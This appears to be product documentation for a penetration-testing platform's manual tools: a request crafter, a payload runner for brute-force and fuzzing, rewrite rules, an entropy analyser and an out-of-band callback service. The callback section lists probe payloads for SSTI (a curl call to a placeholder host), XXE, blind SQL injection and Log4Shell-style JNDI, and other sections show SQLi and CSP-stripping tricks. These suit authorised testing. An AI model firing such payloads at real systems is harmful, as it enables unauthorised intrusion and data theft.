Manual testing tools
Every running or completed scan ships with a built-in suite of manual-testing tools that let you pivot from "automated finding" to "hands-on probe" without leaving the platform. They live as tabs on the scan detail page and operate against the requests Pentestas already captured during the scan.
[ Findings | HTTP history | Site map | Forge | Volley | Match & replace | Sequencer | Decoder | Comparer | OAST | Live Feed ]
All requests issued from these tools route through the same engine that ran the scan — same agent (if the scan used one), same authenticated session, same scope rules. You don't have to redo cookies or proxy setup.
HTTP history
Every request the crawler made, the verifier made, and the AI exploiter made is logged here with full request and response bodies.
Use it for:
- Reading the actual
Set-Cookiechain that produced an authenticated session. - Finding endpoints the automated scan touched but didn't flag.
- Pulling a single interesting request into Forge or Volley for further probing.
Per-row actions:
- → Forge — opens the request in the request crafter for hand-editing and replay.
- → Volley — opens it in the payload-driven attack runner with the request as the template.
- Copy as cURL — for use outside the platform.
The list supports filtering by host, method, status, and a free-text body search.
Site map
Tree view of every URL the crawler discovered, grouped by host and path. Click a node to see the endpoints under it; click an endpoint to see request / response details. The tree mirrors the directory structure of the target — handy for finding orphaned admin paths, debug endpoints, and pages the crawler reached but the user-facing site doesn't link to.
Forge — single-request crafter
Edit a request, hit Send, see the response. Edit again, repeat. Pentestas's hand-crafted single-request tester.
How to use:
- Pick a request from HTTP history and click → Forge (or click + New to start from blank).
- Edit method, URL, headers, body in the editor.
- Click Send. Response appears side-by-side.
- Tweak, resend, repeat. Each send is appended to the request history list on the left.
What gets sent:
- Backed by
POST /api/scans/{id}/forge/send. Requests are dispatched from the platform (or from the scan's bound agent if any), so they share the scan's network path and auth state. allow_redirectsdefaults tofalseso you can see the raw 30x response.- 15-second per-request timeout (adjustable in the bar).
Common workflows:
- Manually verify an SQLi finding: paste the proof payload, swap the union list, watch the body change.
- Test what a header tweak does to access control: drop
X-Forwarded-Forin, see whether you get a different response. - Walk through a multi-step flow that the crawler couldn't navigate: pin the first step's response cookie, hand-craft step two.
Volley — payload-driven multi-request runner
Mark insertion points in a request template, supply payload sets, run it. Volley iterates through the payloads and fires each rendered request against the target.
Insertion points are wrapped in {{name}} markers:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username={{user}}&password={{pass}}
Attack modes:
| Mode | Behaviour |
|---|---|
| Single position | One payload set; tries each payload at one insertion point per request, sweeping every position. Use to find which parameter is exploitable. |
| Mirror | One payload set; the same payload is substituted into every insertion point in the same request. Use when you want consistent values across a multi-field request. |
| Lockstep | N payload sets; the i-th value of each set goes into the i-th position, in parallel. Stops when the shortest set ends. Use for username + password pair lists. |
| Combo | N payload sets; full Cartesian product. Use sparingly — 100 × 100 = 10,000 requests. |
Payload set kinds:
- List — paste payloads, one per line.
- Numbers — start, end, step. Generates the integer range.
- Case modulator — takes a base string and emits casing variants.
- Brute — alphabet + length, classic dictionary brute.
Grep matches — paste regex patterns (one per line). Each response gets a column showing ✓ if the regex hit; sort by it to find anomalies.
Concurrency — 1–20 (default 3). Higher = faster but noisier.
Volley uses the same forge/send backend per request, so authenticated requests stay authenticated across the whole attack.
Match & replace
Per-scan rules that rewrite outgoing requests on the wire.
Where rules apply: during agent-relayed scans (Forge, Volley, full attack). They're stored per-scan and live for 30 days.
Rule shape:
| Field | Example |
|---|---|
| Match in | request line / header / body / response header / response body |
| Match | regex (User-Agent: .*) |
| Replace with | literal (User-Agent: Pentestas-Forge/1.0) |
| Enabled | toggle |
Common uses:
- Override Authorization for a single scan without re-uploading credentials — match
Authorization: .*, replace with the new bearer token. - Add a custom header to every request — match
Host: target.com\r\n, replace withHost: target.com\r\nX-Bypass: 1\r\n. - Strip CSP from responses so an XSS PoC actually fires when you load the response in a browser.
Persisted at GET /api/scans/{id}/match-replace; updated via PUT.
Sequencer — token entropy
Paste tokens (one per line — session IDs, CSRF tokens, password-reset tokens, …) and click Analyze. Output:
- Per-byte-position Shannon entropy (bits) and chi-square deviation against a uniform distribution.
- Token-set summary: total entropy, min length, effective bits.
- A bar chart per byte position so weak / sequential / structured positions stand out.
Use when an app emits "unique" tokens that don't look unique — short OTPs, sequential reset links, IDs that change by a fixed delta. Rule of thumb: total entropy ≥ 128 bits is strong, 64–127 is OK, anything under 64 is brute-forceable. The minimum useful sample is 50 tokens; 256+ gives you stable per-position numbers.
Decoder — encoding chain
Smart-decode and explicit-encode for: URL, base64, base64url, hex, octal, binary, HTML entities, JS string, JWT, gzip, and a smart auto-detect mode that walks a chain.
Click a chain to see each step's output and length. Useful for unwrapping JWTs from cookies, decoding URL-encoded payloads pulled from the live feed, or testing whether a target normalises double-encoded characters.
Comparer — two-blob diff
Paste two text blobs, click Compare. Output: word-level diff highlighted in green / red, plus byte-length and per-byte difference counts. Use it to:
- Diff a 200 OK against a 401 to identify the auth check's response signature.
- Compare an admin's response to a normal user's at the same endpoint to spot privilege-leaking fields.
- Spot small response-body deltas when an SQLi
' OR 1=1payload "doesn't seem to do anything".
OAST — out-of-band callback service
Pentestas allocates a unique URL; you paste it into anything that might trigger an outbound request from the target; we record DNS / HTTP hits against it. Confirms blind / out-of-band vulnerabilities (SSRF, blind XXE, blind SQLi, JNDI/Log4Shell, SSTI without reflection, webhook misconfig).
Allocate a URL:
- Open the OAST tab on the scan.
- Click Get new OAST URL —
POST /api/scans/{id}/oast/allocatemints a per-scan token. - Copy the URL.
Plant it:
Common spots:
- SSRF parameters —
?url=<oast>,?webhook=<oast>. - XXE entities —
<!ENTITY x SYSTEM "http://<oast>">. - SSTI —
{{ ''.__class__.__mro__[1].__subclasses__()[396](['curl','<oast>']) }}. - Blind-SQLi out-of-band probes —
(SELECT LOAD_FILE(CONCAT('\\\\<oast>\\x'))). - JNDI / LDAP injection —
${jndi:ldap://<oast>/x}(Log4Shell-style). - Webhook configs — register
<oast>as the webhook in the target app's settings. - Open-redirect / OAuth —
redirect_uri=<oast>.
See callbacks:
Click Refresh interactions to fetch any DNS / HTTP requests recorded against the token. Each row carries protocol, source IP, timestamp, and the raw request summary.
The catcher endpoint accepts every HTTP method (GET/POST/PUT/PATCH/DELETE/OPTIONS) on /oast-catcher/<token> and /oast-catcher/<token>/<anything> — so the target can hit any subpath and we'll log it.
OAST tokens are scan-scoped: rotating a new URL doesn't invalidate the old one (interactions keep flowing in for forensics), but only the latest URL is shown in the bar.
Authentication and scope
All these tools inherit the scan's authentication context:
- If the scan was authenticated (form login, cookie paste, OAuth refresh, API key), Forge / Volley send requests with that session.
- If the session expires mid-session, the same auto-relogin logic the scanner uses applies.
- If the scan was bound to an agent, every request from these tools is proxied through the agent — internal targets stay reachable.
Scope restrictions also apply: requests targeting hosts outside the scan's allowed-domains are rejected with 403 out of scope.
See also
- Web app scan — the automated scan that populates HTTP history and Site map.
- Authenticated scans — getting credentials in so the manual tools see the same surface as the crawler.
- Validation — what the Accuracy Gate already filtered out before findings reached you (worth checking against HTTP history when you suspect a false negative).